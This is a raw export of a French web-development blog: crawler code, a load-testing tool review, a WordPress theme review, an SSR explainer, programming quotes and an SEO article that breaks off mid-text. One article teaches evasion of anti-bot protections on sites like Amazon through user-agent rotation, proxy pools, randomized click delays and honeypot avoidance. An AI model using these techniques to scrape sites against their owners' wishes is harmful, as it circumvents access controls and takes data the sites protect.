Unsplash","https://unsplash.com/@nicobhlr?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":824,"title":825,"content":826,"socialTitle":8,"description":827,"socialDescription":8,"slug":828,"createdAt":829,"updatedAt":830,"publishedAt":831,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":832,"coverCopyright":833,"coverCopyrightLink":834},100,"Comment crawler une page web en NodeJS avec Puppeteer et Cheerio","Parfois il est indispensable de **récupérer des informations mises à jour régulièrement** sur un site web qui n'expose aucune API au public, ou tout simplement de **parcourir toutes les pages d'un site** en particulier à la manière d'un robot de moteur de recherche afin de les indexer.\n\n> Disclaimer : **Attention la majorité des informations publiés sur les sites internet restent la propriété de ces sites** et n'ont pas vocation à être récupérées par un tiers sans autorisation.\n\nSi vous avez tout de même besoin de récupérer de telles informations, vous allez devoir **récupérer le code source** des pages en question (crawler), puis **chercher les données** dont vous avez besoin (parser) dans cette masse d'information.\n\n**Nous allons voir comment faire tout cela en NodeJS** aujourd'hui, avec un code minimal que vous pourrez réutiliser et détourner à votre guise.\n\n## La méthode\n\nPour récupérer notre page web et les données qui nous intéressent, nous allons utiliser deux outils différents : **Puppeteer** et **CheeriosJS**. Si vous ne connaissez pas ces deux librairies, pas de panique, je vous explique tout.\n\n### Puppeteer\n\n**Puppeteer est une librairie NodeJS qui met à disposition une API pour automatiser des actions sur une (ou plusieurs) instance Chrome/Chromium**. Autrement dit, grâce à cette librairie vous allez pouvoir faire toutes les actions que vous feriez avec un navigateur classique, mais que vous allez contrôler de manière programmatique.\n\n**Puppeteer intège de nombreuses fonctionnalités par défaut** en plus du chargement des pages comme la prise de screenshots, la génération en pdf à partir d'une page web, etc...\n\n**Par défaut, puppeteer est lancé en mode \"headless\"**, c'est à dire qu'il n'affiche aucune fenêtre ni aucun rendu graphique.\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6906516?s=400&v=4)puppeteer/puppeteer](https://github.com/puppeteer/puppeteer)\n:::\n\n### CheerioJS\n\n**Cheerio est simplement une implémentation côté serveur de la célèbre librairie jQuery.** En lui passant un code source html ainsi qu'une query, Cheerio va être capable de nous retourner les informations demandée de manière simple et très rapide !\n\n> Vous ne pensiez pas réutiliser jQuery un jour avouez ?\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/7230330?s=400&v=4)cheeriojs/cheerio](https://github.com/cheeriojs/cheerio)\n:::\n\n## Le code\n\n**Voici un code minimal pour faire fonctionner ces deux librairies ensembles.** En exécutant ce programme, Puppeteer va charger la page principale de mon blog, puis passer le code source à Cheerio afin que ce dernier puisse parser toutes les liens présents sur la page.\n\n_Etant donné que le code est simple et commenté à presque chaque ligne, je ne vais pas le détailler plus qu'il ne l'est déjà !_\n\n```\nconst puppeteer = require('puppeteer'),\n $ = require('cheerio');\n\n(async function(){\n\t\n //Chrome instance launching, do not launch an instance for each page\n let browser = await puppeteer.launch();\n //Create new blank page in browser\n let page = await browser.newPage();\n //Open the desired url\n await page.goto(\"https://blog.nicolas.brondin-bernard.com/\");\n //Once page loaded, get the source code\n let html = await page.content();\n //Use cheerio to parse every link attribute\n let links = $(\"a\", html);\n links.each(function(i,link){\n console.log($(link).attr(\"href\"));\n })\n //Don't forget to close the browser instance\n await browser.close(); \n\n})();\n```\n\n**Vous devriez voir apparaitre la liste des liens présents sur l'accueil de mon blog** après quelques secondes directement dans votre terminal.\n\nComme vous pouvez le voir, le code est très court et facile à comprendre. **Puppeteer est un outil très puissant**, n'hésitez pas à aller voir la documentation pour découvrir tout ce qu'il est possible de faire avec !\n\n**Et pour aller plus loin,** je vous invite à lire mon article intitulé \"[5 techniques avancées pour créer un crawler web efficace](https://code-garage.fr/blog/5-techniques-avancees-crawler-web-efficace/)\".\n\n","Envie de récupérer les informations d'une ou plusieurs pages web en NodeJS, voilà le code minimal pour le faire !","comment-crawler-parser-une-page-web-en-nodejs-avec-puppeteer-et-cheerio","2020-10-01T13:45:23.000Z","2023-09-19T15:05:37.112Z","2020-10-01T14:35:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/vidar-nordli-mathisen-gF7QEWM7tm4-unsplash.jpg","Vidar Nordli-Mathisen sur Unsplash","https://unsplash.com/@vidarnm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":836,"title":837,"content":838,"socialTitle":8,"description":839,"socialDescription":8,"slug":840,"createdAt":841,"updatedAt":842,"publishedAt":843,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":844,"coverCopyright":845,"coverCopyrightLink":846},101,"Un outil gratuit tester la charge sur vos sites et APIs","Lorsque vous montez un site web classique, il est souvent possible d'avoir une idée de la charge utilisateur que peut supporter ce dernier en recoupant les informations sur l'hébergement, le serveur web et les technologies utilisées.\n\nMais dans certains cas, et notamment pour des APIs qui doivent traiter un certains nombre de données ou effectuer de gros calculs, **il est difficile d'arriver à avoir une estimation de la charge supportable sans effectuer de test.**\n\n> Un stress test consiste donc à soumettre des requêtes à un site (ou une api) en continu jusqu'au point de rupture où ce dernier ne sera plus en mesure de répondre.\n\n**Dans certains cas il est possible d'effectuer un test avec un simple script maison**, mais si les requêtes doivent contenir des payloads conséquents, il y a des chances pour que **votre machine n'arrive pas à suivre la cadence** et donc n'atteigne jamais le point de rupture.\n\nVoilà pourquoi je me suis mis en quête d'un outil basique, rapide à prendre en main et surtout **qui ne me couterait pas un bras pour effectuer quelques tests de charge** sur mes APIs, et j'ai trouvé [loader.io](https://loader.io/)\n\n::: bookmark\n[![](https://loader.io/assets/marketing/loader_logo-0bda58551dbcae146f98a8c721c98a3d16a94838ab274880964d3f52b85e914b.svg)Application Load Testing Tools for API Endpoints with loader.io](https://loader.io/)\n:::\n\n## Les avantages\n\n**J'ai eu la chance de tomber sur un outil qui me convenait sans avoir à en essayer des centaines**, mais cela veut aussi dire que je n'ai pas beaucoup de point de comparaison.\n\nNéanmoins j'ai pu relever **quelques spécificités de loader.io** que j'apprécie particulièrement et qui m'ont donné envie de continuer à l'utiliser de manière plus régulière, les voici :\n\n* **Une offre gratuite sans limite de nombre de tests** (mais une limite de 10 000 clients pendant 1 minute par test)\n* **L'outil est propulsé par l'entreprise SendGrid**, une plateforme d'envoi d’e-mail marketing et transactionnel possédant suffisamment de puissance serveur pour un outil comme celui-ci\n* **L'envoi des requêtes est immédiat**, il n'y aucune file d'attente pour le démarrage des test.\n\n## Le fonctionnement\n\n**Comme je vous l'ai annoncé, l'outil est très basique, tant dans son utilisation que dans son interface**. La première étape consiste à valider que vous êtes propriétaire du domaine sur lequel vous allez effectuer vos tests.\n\n> La validation permet d'éviter tout risque de détournement de la plateforme afin de créer une attaque DoS !\n\nPour cela, Loader vous donne la possibilité d'effectuer soit **une validation DNS**, soit **une validation en créant une route spécifique** sur votre serveur. C'est cette deuxième solution que j'ai choisi, étant donné que j'exploite mon API directement avec L’URL fournie par Heroku, pour laquelle je n'ai pas accès au DNS.\n\n**La validation s'effectue en quelques minutes** et c'est à partir de ce moment-là que vous allez pouvoir créer votre premier test !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/Capture-d--cran-2020-10-02---16.09.jpg)\n\n**Une fois le test créé, il vous reste à le configurer** avec votre url, les options HTTP, le corps de la requêtes, etc...\n\nMais surtout le nombre de clients et le temps du test désirés, limités en version gratuite mais **bien suffisant pour tester les \"bottlenecks\" de votre API.**\n\n> Un \"bottleneck\" ou goulot d'étranglement en français est un point logiciel qui peut ralentir (voir stopper) l'exécution du programme souvent dû à un temps de traitement trop long des informations envoyées.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/Capture-d--cran-2020-10-02---16.20.jpg)\n\n**Votre test configuré, il ne vous reste plus qu'à l'exécuter et à regarder les résultats en direct** grâce aux différents graphes et visualisations des réponses de l'API.\n\n**Lorsqu'il est terminé, vous aurez accès à une analyse plus détaillée des statistiques** comme le taux d'erreurs, la charge moyenne de retour (payload), le temps moyen de réponse, etc...\n\n**Petit détail non négligeable, il est possible de définir une limite du taux d'erreur** au delà duquel le test sera avorté pour éviter de surcharger sans raison votre serveur, sûrement dû à un problème dans le code ou dans la configuration du test.\n\n","Envie de tester la charge utilisateur maximale que peut supporter votre API ? Voici la solution.","un-outil-gratuit-pour-effectuer-des-stress-tests-sur-vos-sites-et-apis","2020-10-02T14:12:55.000Z","2023-09-19T15:05:37.142Z","2022-02-23T07:20:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/02/cloudvisual-co-uk-DCtwjzQ9uVE-unsplash.jpg","cloudvisual.co.uk sur Unsplash","https://unsplash.com/@cloudvisual?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":848,"title":849,"content":850,"socialTitle":8,"description":851,"socialDescription":8,"slug":852,"createdAt":853,"updatedAt":854,"publishedAt":855,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":856,"coverCopyright":857,"coverCopyrightLink":858},106,"5 techniques avancées pour créer un crawler web efficace","Il y a deux semaines je publiais un article intitulé \"[**Comment crawler une page web en NodeJS avec Puppeteer et Cheerio**](https://code-garage.fr/comment-crawler-parser-une-page-web-en-nodejs-avec-puppeteer-et-cheerio/)\" dans lequel je fournissais un snippet de crawler basique.\n\n> Si vous n'êtes pas encore familier avec le crawling de site web **je vous recommande de le lire** avant de continuer cet article !\n\nComme vous l'aurez compris, la méthode pour récupérer les informations d'un site web lambda est très simple, mais si vous désirez pouvoir parcourir de plus gros sites (ou tout simplement un plus large panel), **vous risquez de vous confrontez à quelques difficultés techniques.**\n\nPour ma part, lorsque j'ai monté mon projet Kalico en 2018, **j'avais pour objectif de récupérer les prix de nombreux articles sur différentes plateformes e-commerces**, dont les géants Amazon et eBay.\n\n## Le problème\n\nPour un site e-commerce (notamment), **il est normal de tout faire pour empêcher des scripts extérieurs** de récupérer automatiquement une grosse quantité d'information.\n\n> A l'heure où nous sommes, **les données sont une part non-négligeable de la valeur des entreprise**, notamment pour les géants du numérique.\n\nC'est pour cette raison que la plupart de ces sociétés mettent en oeuvre des moyens techniques afin d'empêcher au maximum cette collecte. Le problème étant qu'en mettant en place des filtres trop stricts, **ces plateformes pourraient risquer de bloquer de réels utilisateurs par mégarde, ce qu'elles ne peuvent pas se permettre.**\n\nChaque plateforme exploitera donc différentes données et meta-données laissées par un \"visiteur\" pour **essayer de détecter si oui, ou non, il s'agit d'une personne réelle ou d'un script.**\n\n**De notre côté, notre but sera de jouer au jeu du chat et de la souris**, en trouvant des techniques comme celles ci-dessous qui nous permettront de passer pour un utilisateur lambda la plupart du temps.\n\n## Les solutions techniques\n\n### 1 - Faire une rotation du user-agent\n\n**Le user-agent est une meta-donnée présente dans l'en-tête d'une requête http** qui donne des informations sur le navigateur et sa version, le matériel, son système d'exploitation, etc...\n\n> Par exemple, mon user-agent actuel est le suivant : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\n\nCertains sites vont donc faire un recoupement de plusieurs méta-données comme celle-ci (en plus de l'IP) afin de **détecter si un utilisateur est à l'origine d'un trop grand nombre de requêtes par exemple**.\n\nC'est notamment ce qu'on appelle le \"fingerprinting\", que [**j'évoquais dans un précédent article**](https://code-garage.fr/le-fingerprinting-ou-comment-tracker-un-utilisateur-sans-cookies/).\n\nPour contrer cette pratique, la première méthode est très simple et consiste à **injecter à chaque nouvelle requête un user-agent différent pris dans une liste prédéfinie** ou généré aléatoirement à la demande.\n\nExemple :\n\n```\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1\"\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A404 Safari/601.1\"\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\"\n\"Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\"\n```\n\n### 2 - Avoir plusieurs proxies\n\nEvidemment, même si les user-agents sont différents, il est très facile pour un site de bloquer une adresse **lorsqu'il détecte un nombre de requêtes trop important provennant d'une seule IP.**\n\nIl est donc préférable d'**avoir une liste de proxies que l'on va affecter à différentes instances du headless-browser** (puppeteer) afin d'éviter que l'adresse du serveur soit détectée en quelques minutes.\n\nLes proxies peuvent provenir de listes gratuites sur le net, ou bien vous pouvez aussi **en monter vous même grâce à des instances clouds par exemple, ce qui vous permet notamment d'avoir de meilleurs performances.**\n\nPoint fort supplémentaire des proxies : **il est possible d'utiliser des localisations différentes pour les serveurs (comme différents pays)**, c'est ce que j'ai fait pour faciliter la récupération des prix dans les bonnes devises sur Amazon !\n\n### 3 - Délais de clics aléatoires\n\nUne fois que toutes les informations du crawler ont été \"anonymisées\" en amont du chargement de la page, **il est beaucoup plus compliqué pour un site de détecter un robot.**\n\n**Mais certains sites utilisent une analyse du comportement de l'utilisateur** afin de détecter si ce dernier agit \"comme un humain\" ou non.\n\n**Par exemple, un visiteur qui clique sur 30 liens en 5 secondes devient suspect** car humainement infaisable, mais le temps entre chaque clic est aussi important !\n\nCar oui, si vous demandez à votre script d'attendre 5 secondes entre chaque clic, le site pourra détecter que ces actions ont été automatisées, la solution est donc d'**ajouter un délai aléatoire (compris par exemple entre 5 et 20 secondes) pour chaque clic**.\n\n### 4 - Requêter le HTML de différentes manières\n\nCertains sites ne misent pas sur la détection de comportement ou le fingerprinting, **mais concentrent plutôt leurs efforts pour rendre le contenu de la page difficilement récupérable.**\n\n**On peut par exemple tomber sur des sites qui générent leurs ids et classes d'éléments à la volée** à chaque nouvelle requête, rendant le processus de sélection d'un élément très compliqué.\n\nL'une des solutions est d'analyser en amont ce que peut nous renvoyer le site et de préparer plusieurs requêtes (avec Cheerio par exemple) pour **tester différents layouts de pages.**\n\n> Il est même parfois possible de tomber sur des sites presque impossible à parcourir automatiquement !\n\n### 5 - Eviter les honeypots\n\n**La technique du Honeypot (ou pot de miel) consiste à laisser un élément non sécurisé sur lequel un utilisateur lambda n'irait jamais** mais qui servira à piéger un robot.\n\nPour les crawlers, **cela consiste en un lien invisible sur la page, mais qui bloquera instantannément le crawler si ce dernier clique dessus**. Pour éviter ces honeypots, on peut :\n\n* **Eviter les liens cachés** par du css (opacity:0, display: none ou visibility: hidden)\n* **Eviter les liens vides** (sans aucun contenu)\n* Eviter les liens contenant **une image de 1px sur 1px**\n\nLes honeypots sont difficiles à éviter mais si vous mettez en place les 4 techniques précédentes **vous aurez déjà évité 99% des problèmes de vos crawlers !**\n\n","Crawler un site web lambda est souvent très simple, mais lorsque l'on s'attaque à une grosse plateforme, on rencontre souvent quelques obstacles !","5-techniques-avancees-crawler-web-efficace","2020-10-13T13:11:03.000Z","2023-09-19T15:05:37.287Z","2020-10-13T15:20:04.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/lenin-estrada-OI1ToozsKBw-unsplash.jpg","Lenin Estrada sur Unsplash","https://unsplash.com/@lenin33?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":860,"title":861,"content":862,"socialTitle":8,"description":863,"socialDescription":8,"slug":864,"createdAt":865,"updatedAt":866,"publishedAt":867,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":868,"coverCopyright":869,"coverCopyrightLink":870},107,"Divi, le thème qui m'a réconcilié avec Wordpress","**En tant que freelance, je suis spécialisé dans les solutions sur-mesure**, principalement développées avec Node et VueJS, mais de plus en plus de potentiels clients viennent me voir pour designer et développer un simple site vitrine pour leur activité.\n\nL**a première exigence étant souvent que ces derniers puissent le prendre en main pour des modifications de contenu après la livraison**, l'éventualité de créer une solution from-scratch était inenvisageable, même avec des solutions comme des Headless CMS, le travail en amont aurait été surdimensionné comparé aux budgets clients.\n\n> Si vous ne savez pas ce qu'est un \"Headless CMS\", [je vous invite à lire mon article dans lequel je décris cette techno](https://code-garage.fr/qu-est-ce-qu-un-headless-cms/)\n\n**En début d'année, j'avais donc pour ambition d'élargir mes prestations en proposant la création de landing pages pour mes clients**, et j'ai demandé conseil à l'une de mes agences préférée, basée à Tours : [Prototyper](https://prototyper.fr/)\n\nVoilà comment **j'ai découvert l'existence de [Divi](https://www.elegantthemes.com/gallery/divi/) !**\n\n## Divi, qu'est-ce que c'est ?\n\nDivi est tout simplement **un thème Wordpress sur-puissant propulsé par l'un des meilleur \"page builder\" du marché !**\n\n**Le fait qu'il soit compatible avec WooCommerce permet de l'utiliser pour créer un site vitrine, un blog ou même un site e-commerce entièrement personnalisé**, car contrairement à d'autres thèmes personnalisable, vous pouvez absolument TOUT construire grâce au page builder, du header, jusqu'au footer !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/divi-layouts.jpg)\n\nCe que j'apprécie par dessus-tout avec Divi, c'est que **la phase de design le drag&drop et les éléments graphiques resssemble beaucoup à l'expérience que j'ai lorsque je design** avec Adobe XD.\n\nPour en avoir parlé avec d'autres utilisateurs, une fois le Wordpress monté, configuré et sécurisé, **ce sont parfois directement les designers de l'entreprise qui prennent en main le thème** pour reproduire le design qu'ils ont construit au préalable.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/divi.jpg)\n\nSur la page d'accueil de Divi, vous pourrez trouver des dizaines d'exemples de sites montés avec le thème et qui sont visuellement superbes :\n\n::: bookmark\n[![](https://www.elegantthemes.com/images/logotransparent-header.svg)Divi — The Ultimate WordPress Theme & Visual Page Builder](https://www.elegantthemes.com/gallery/divi/)\n:::\n\n### Les points forts\n\n* **Visual builder au top**, personnalisation des headers/footers et **responsivité parfaitement gérée**\n* Compatibilité **WooCommerce et WPML** (multilingue)\n* Possibilités d'ajouter des **animations et des comportements spéciaux au scroll** qui donne de superbes designs\n* Possibilité de créer **un formulaire de contact complexe** avec champs conditionnels\n* Ajout de CSS personnalisé très simple et possibilité de créer **sa propre bibliothèque de composants visuels**\n* Un nombre de **layouts gratuits** gigantesque + marketplace spécialisée pour des plugins Divi\n\n### Les points faibles\n\n* **Impossible d'imbriquer deux grilles** l'une dans l'autre\n* Encore quelques ajustements à faire **soi-même en CSS**\n* **Le prix**\n\n## Conclusion\n\nJe ne le conseillerai pas forcément à quelqu'un qui veut monter un simple blog à cause du prix conséquent (89$ par an), mais pour un indépendant ou une agence qui propose de nombreux sites sous Wordpress, **le plan à vie (249$ une seule fois) sera vite rentabilisé et [je ne peux que vous le conseiller](https://www.elegantthemes.com/gallery/divi/) !**\n\n","Vous n'aimez pas Wordpress ? Attendez d'avoir testé Divi !","divi-le-theme-qui-ma-reconcilie-avec-wordpress","2020-10-14T07:33:03.000Z","2023-09-19T15:05:37.315Z","2020-10-14T09:03:19.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/caleb-riston-TXiBwX0kg-Q-unsplash.jpg","Caleb Riston sur Unsplash","https://unsplash.com/@calebriston?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":872,"title":873,"content":874,"socialTitle":8,"description":875,"socialDescription":8,"slug":876,"createdAt":877,"updatedAt":878,"publishedAt":879,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":880,"coverCopyright":881,"coverCopyrightLink":882},108,"Qu'est-ce que le SSR ou Server-Side Rendering ?","Lorsque l'on parle de la mode, on a tendance à dire qu'elle se répète et que les habits démodés redevienne tout à coup \"dans le vent\", et bien **on constate exactement la même chose avec certaines technologies, notamment dans le monde du web !**\n\n> Et c'est exactement ce que l'on vit avec le SSR !\n\nAvec l'arrivée de la première version d'AngularJS en 2010, **les SPA (Single-Page Application) ont monopolisé toute l'attention** jusqu'à devenir la norme pour démarrer un nouveau projet quel qu'il soit.\n\nMais depuis quelques années, la tendance s'inverse et **le SSR est à nouveau au devant de la scène**, mais en quoi est-ce que ça consiste exactement ?\n\n> C'est ce que nous allons voir aujourd'hui !\n\n## Le principe\n\nAvant de parler du fonctionnement du \"Server-Side Rendering\", **il faut d'abord expliquer le fonctionnement des \"Single-Page Application\"** afin de bien comprendre ce qui différencie ces deux paradigmes.\n\n**Dans le cas d'une SPA \"classique\"**, voici ce qu'il se passe en terme de communication entre le client et le serveur:\n\n* Le client envoie une requête HTTP\\[GET\\] / au serveur\n* Le serveur retourne **une page index.html quasi-vide** contenant uniquement les liens vers les ressources JS et CSS de l'application\n* Le navigateur va récupérer les ressources indiquées\n* Le navigateur **charge l'application en mémoire** et se lance\n* L'application va charger la vue demandée par l'utilisateur\n* Une fois la vue chargée, **l'application va demander au serveur les données à injecter dans la page** en envoyant une ou plusieurs requêtes HTTP\n* Le serveur va faire des appels à la base de données , préparer et envoyer les données\n* Si les données retournées contiennent des contenus multimédias, **le navigateur devra les charger**\n* **A la fin seulement, l'utilisateur pourra consulter la page demandée** contenant toutes les informations chargées\n\n**Mais dans le cas d'un site fonctionnant en SSR**, les communications sont différentes :\n\n* Le client envoie une requête HTTP\\[GET\\] / au serveur\n* Le serveur va se charger de **construire la vue**\n* Le serveur va faire des appels à la base de données , **préparer et injecter les données dans la vue**\n* **Puis il va retourner un unique fichier HTML contenant déjà tout le contenu**, ainsi que les liens vers quelques ressources externes éventuelles\n* Le navigateur va charger les éventuelles ressources (js, css, images, vidéos, etc)\n* **La page est entièrement disponible pour l'utilisateur**\n\nVous l'aurez compris, **dans la première méthode, c'est le navigateur client qui va se charger de faire toutes les demandes de données**, va multiplier les requêtes HTTP et c'est l'application cliente qui va décider où injecter toutes les données.\n\n**En SSR**, le but du navigateur web est uniquement de charger une page et quelques ressources externes, et **c'est au serveur de faire tout le reste du travail.**\n\n## Les avantages du SSR\n\n* **De meilleurs performances SEO, car tout le contenu textuel est disponible après le premier chargement**, et bien que Google et Bing soient capable de parcourir des SPA, il n'attendent jamais le chargement d'un contenu asynchrone\n* **Temps de chargement de contenu plus rapide, notamment sur des connexions internet lentes** car l'utilisateur n'a pas besoin d'attendre que tout le code de l'application soit chargé avant de pouvoir accéder au contenu\n* **Le nombre de requêtes** http est réduit\n* **Il est désormais possible de développer des applis en SSR avec les mêmes librairies que pour le front** (React, Vue ou Angular) en ajoutant un framework SSR par dessus.\n\n## Les inconvénients\n\n* **Il y a des temps de chargement visibles** entre chaque page\n* **La charge serveur peut être plus importante** car le travail auparavant fait sur la machine cliente est maintenant fait sur le serveur\n* **L'environnement de déploiement du front-end est plus complexe** car il ne nécessite plus seulement un hébergement web statique, mais un environnement NodeJS par exemple.\n\n## Conclusion\n\n**Le SSR apporte des solutions aux problèmes que posent les SPA notamment sur le référencement naturel du site, mais il n'y a pas de meilleure solution entre les deux**, vous devez faire le choix entre du SSR ou une SPA en fonction des besoins et des contraintes du projet.\n\n**Ne vous laissez pas influencer par la mode du moment**, prenez des décisions documentées et réfléchies !\n\n","Et si je vous disais que le SSR est un nouveau nom pour une pratique qui existe depuis les années 90 ?","qu-est-ce-que-le-ssr-ou-server-side-rendering","2020-10-16T06:46:35.000Z","2023-09-19T15:05:37.345Z","2020-10-16T11:41:18.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/igor-miske-JVSgcV8_vb4-unsplash.jpg","Igor Miske sur Unsplash","https://unsplash.com/@igormiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":884,"title":885,"content":886,"socialTitle":8,"description":887,"socialDescription":8,"slug":888,"createdAt":889,"updatedAt":890,"publishedAt":891,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":892,"coverCopyright":8,"coverCopyrightLink":8},109,"7 citations incontournables sur la programmation","On dit qu'une image vaut mieux que 1000 mots, et une citation est comme une image, faite avec les mots et dont il ressort un message fort.\n\nJe vous ai sélectionné ici 7 des citations sur le monde du développement qui mélangent sagesse et expérience !\n\n## Citation n°1\n\n### \"L'enseignement de l'informatique ne peut faire de personne un programmeur expert plus que l'étude des pinceaux et du pigment peut faire de quelqu'un un peintre expert.\" - Eric S. Raymond\n\nAttention il ne faut pas mal interpréter cette citation, bien sûr que l'enseignement théorique est indispensable pour devenir développeur, mais cela ne suffit pas à devenir expert, il faut de l'expérience, essayer, tester, s'entrainer et mettre les mains dans le code pendant plusieurs années !\n\n## Citation n°2\n\n### \"Je m'en fous si ça marche sur votre machine ! Nous ne livrons pas votre machine !\" - Inconnu.e\n\nQue rajouter de plus ? Clair, net et précis ! Mais il est vrai que si l'on pouvait livrer les projets avec la machine de dev, on gagnerait du temps !\n\n## Citation n°3\n\n### \"Marcher sur l'eau et développer un logiciel à partir d'une spécification sont faciles si les deux sont gelés.\" - Edward V. Berard\n\nPour moi, cette citation mérite la médaille d'or, un parfait équilibre entre sagesse et jeu de mot. Et pour rappel, cela n'arrive absolument jamais !\n\n## Citation n°4\n\n### \"Codez comme si la personne qui finit par maintenir votre code est un psychopathe violent qui sait où vous vivez.\" - Jeff Atwood\n\nEt le pire c'est que parfois ça peut être le cas, surtout si vous maintenez votre propre code...\n\n## Citation n°5\n\n### “N’importe quel idiot peut écrire du code qu'un ordinateur peut comprendre. Les bons programmeurs écrivent du code que les humains peuvent comprendre.” - Martin Fowler\n\nAllez, on arrête les ternaires imbriqués maintenant d'accord ?\n\n## Citation n°6\n\n### \"Ajouter des personnes à un projet en retard accroît son retard\" - Frederick Brooks\n\nOn peut aussi dire que 1 dev + 1 dev ne divise pas le temps de développement par 2, loin de là !\n\n## Citation n°7\n\n### \"N'importe quel code que vous avez écrit depuis 6 mois ou plus sans y regarder pourrait tout aussi bien avoir été écrit par quelqu'un d'autre\" - Alan Eagleson\n\nEst-ce qu'il y a vraiment quelque chose à ajouter ?\n\n## Citation bonus\n\n### \"Toute technologie suffisamment avancée est indiscernable de la magie.\" - Arthur C. Clarke\n\nVous est-il déjà arrivé de résoudre un bug comme par magie ? Moi oui.\n\n## Plus de citations\n\nSi vous n'en avez pas eu assez, je vous invite à écumer le site ci-dessous qui vous offrira des centaines de citations sur l'informatique (en anglais) !\n\n::: bookmark\n[![](N/A)Random quote](https://www.defprogramming.com/random/)\n:::\n\n","Une simple phrase peut parfois contenir tant de sagesse, voici le top 7.","7-citations-sur-la-programmation-que-jadore","2020-10-18T20:35:57.000Z","2023-09-19T15:05:37.377Z","2020-10-18T21:42:58.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/04/jack-nicholson.jpg",{"id":894,"title":895,"content":896,"socialTitle":8,"description":897,"socialDescription":8,"slug":898,"createdAt":899,"updatedAt":900,"publishedAt":901,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":902,"coverCopyright":903,"coverCopyrightLink":904},112,"SEO : Analyser son référencement avec Google Search Console","**Lors des deux premiers articles de cette série, nous avons parlé des facteurs qui impactent le référencement naturel d'un site**, et notamment les éléments liés au nom de domaine [dans l'article précédent](https://code-garage.fr/blog/les-bases-du-seo-2-le-nom-de-domaine/).\n\nMais, s'il est important d'essayer d'optimiser son référencement naturel, **il faut d'abord pouvoir analyser les conséquences de nos choix** afin d'en tirer des conclusions et adapter notre stratégie.\n\n> Attention, pour observer l'impact des modifications en terme de ranking sur les moteurs de recherche **il faut parfois attendre jusqu'à 1 mois entier** (voir plus) !\n\nEt comme **pour effectuer une analyse il faut pouvoir se baser sur des chiffres précis et fiables**, l'idéal est d'avoir accès à des statistiques fournies directement par un moteur de recherche.\n\n**C'est pourquoi aujourd'hui nous allons parler de la \"[Google Search Console](https://search.google.com/search-console/about)\"**, anciennement appelée \"Google Webmaster Tools\"\n\n## Google Search Console\n\n**La Google Search Console est une plateforme regroupant plusieurs outils d'analyse spécifiques au référencement naturel sur Google** et très pratiques (voir indispensables) pour les créateurs de sites web.\n\nParmi les outils vous trouverez par exemple **le nombre de pages indexées et son évolution, le nombre d'apparitions dans les résultats de recherches** , les positions moyennes, etc...\n\n> Une fois la plateforme reliée à votre site internet, vous aurez accès à toutes ces données, gratuitement !\n\nLe lien vers la plateforme : [https://search.google.com/search-console/about](https://search.google.com/search-console/about)\n\n### Ajout d'une propriété\n\nUne fois connecté grâce à votre compte Google, la première étape est d'ajouter une nouvelle propriété à la console, c'est-à-dire d'**autoriser votre domaine à apparaitre sur la plateforme.**\n\n> Cette validation empêche la possibilité d'espionner les performances SEO d'un concurrent\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/Capture-d--cran-2020-10-21---20.58.14.png)\n\nVous avez le choix entre plusieurs types de propriétés :\n\n* **Le domaine global, dont l'analyse sera valable peu importe le sous-domaine** et le protocole mais dont la validation ne peut se faire que par DNS\n* **Un domaine précis (préfixe), dont l'analyse ne sera valable que sur les pages appartenant à ce dernier**, mais pour lequel il existe plusieurs méthodes de validation, dont l'ajout d'un simple fichier contenant un code.\n\n_Une fois les étapes de validation suivies, votre propriété devrait être accessible quelques minutes, voir quelques secondes plus tard._\n\n### L'ajout du sitemap.xml\n\nVotre propriété validée, vous pourrez voir qu'aucune donnée ne sera disponible, et pire, il y a des chances qu'**aucune page ne soit encore indexée si votre site a été récemment mis en ligne.**\n\nPour que toutes les pages de votre site puissent être détectées par le robot Google et disponibles dans la console, **il faut ajouter votre fichier sitemap.xml.**\n\n> **Un fichier sitemap est une représentation de toutes les pages indexables de votre site** incluant leur url unique en XML. Vous pouvez créer ce fichier à la main ou utiliser un générateur automatique.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/Capture-d--cran-2020-10-21---21.04.37.png)\n\n**Votre 